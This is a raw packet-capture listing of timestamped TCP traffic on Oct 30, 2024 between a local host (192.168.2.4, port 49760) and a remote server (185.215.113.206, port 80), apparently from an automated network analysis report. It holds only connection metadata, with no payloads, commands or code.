Oct 30, 2024 02:27:37.007946968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.007999897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.008317947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008330107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008339882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008352041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008362055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008372068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008372068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.008383036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008388042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.008394957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.008424044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.008435011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.048576117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.048589945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.048600912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.048708916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082210064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082250118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082259893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082290888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082314968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082354069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082366943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082376957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082405090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082431078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082433939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082470894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082503080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082513094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082550049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082580090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082592010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082608938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082618952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082638025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082650900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082703114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082714081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082722902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082735062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082743883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082755089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082784891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082824945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082837105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082863092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082886934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.082962990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082973003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.082982063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083005905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083019018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083050966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083061934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083070993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083091021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083116055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083156109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083205938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083216906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083225965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083236933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083255053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083256006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083256006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083271980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083354950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083398104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083419085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083431005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083440065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083461046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083478928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083672047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083683014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083692074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083703041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083712101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083713055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083736897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083761930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083858013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083868980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083878994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083889008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083898067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083899975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083911896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.083916903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083940029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.083955050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084050894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084089994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084182978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084193945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084203005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084213972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084223032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084223032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084235907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084239960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084247112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084258080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084264040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084266901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084275961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084285975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084287882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084300995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084307909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084337950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084346056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084553957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084597111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084636927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084646940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084656000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084671974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084676981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084683895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084695101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084696054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084721088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084732056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084763050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084773064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084800005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084825039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.084952116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084963083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084973097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084984064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.084995031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085005045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085007906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085016012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085022926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085026979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085037947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085050106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085058928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085078001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085088015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085254908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085293055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085374117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085386992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085396051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085407019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085413933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085417986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085426092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085431099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085441113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085453033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085455894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085457087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085468054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085500002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085694075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085705042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085714102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085725069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085733891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085742950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085753918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085758924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085764885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085778952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085782051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085789919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085802078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085804939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085813046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.085833073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.085845947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086175919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086185932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086194992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086204052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086216927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086230040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086256027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086421013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086431980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086441994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086452007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086462975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086471081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086477041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086488962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086489916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086503029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086513042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086513996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086525917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086532116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086536884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086548090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086554050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086565018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086576939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086596966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086616039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086915970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086945057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086955070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086957932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.086982012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.086993933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.125566959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125577927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125595093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125629902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125639915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.125643015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125659943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.125679970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.125691891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.125716925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125727892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125736952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125746012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.125757933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.125792027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.166009903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.166083097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.166094065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.166105032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.166114092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.166132927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.166158915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.199834108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.199856043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.199866056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.199903965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.199937105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.199940920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.199978113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.199991941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200004101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200027943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200042963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200129986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200139999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200150013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200162888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200176001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200198889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200366020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200381994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200391054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200402975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200413942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200414896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200433016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200452089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200476885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200515032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200618029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200629950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200640917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200653076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200661898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200664997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200678110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200678110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200690031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200700998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200704098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200716972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200743914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200928926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200939894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200961113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200970888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200970888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.200982094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200994015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.200998068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201004982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201016903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201020002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201046944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201337099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201349020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201359987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201370001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201379061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201383114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201390982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201395035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201401949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201412916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201421022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201425076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201452017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201462984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201680899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201693058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201703072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201726913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201747894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201946020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201956987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201967001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201977968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.201987982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.201988935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202002048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202013016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202018976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202023029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202035904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202037096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202048063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202053070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202060938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202071905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202074051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202084064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202100992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202120066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202451944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202461958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202476025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202487946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202497005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202497959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202524900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202548027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202660084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202670097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202680111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202691078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202699900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202701092 CET	80	49760	185.215.113.206	192.168.2.4
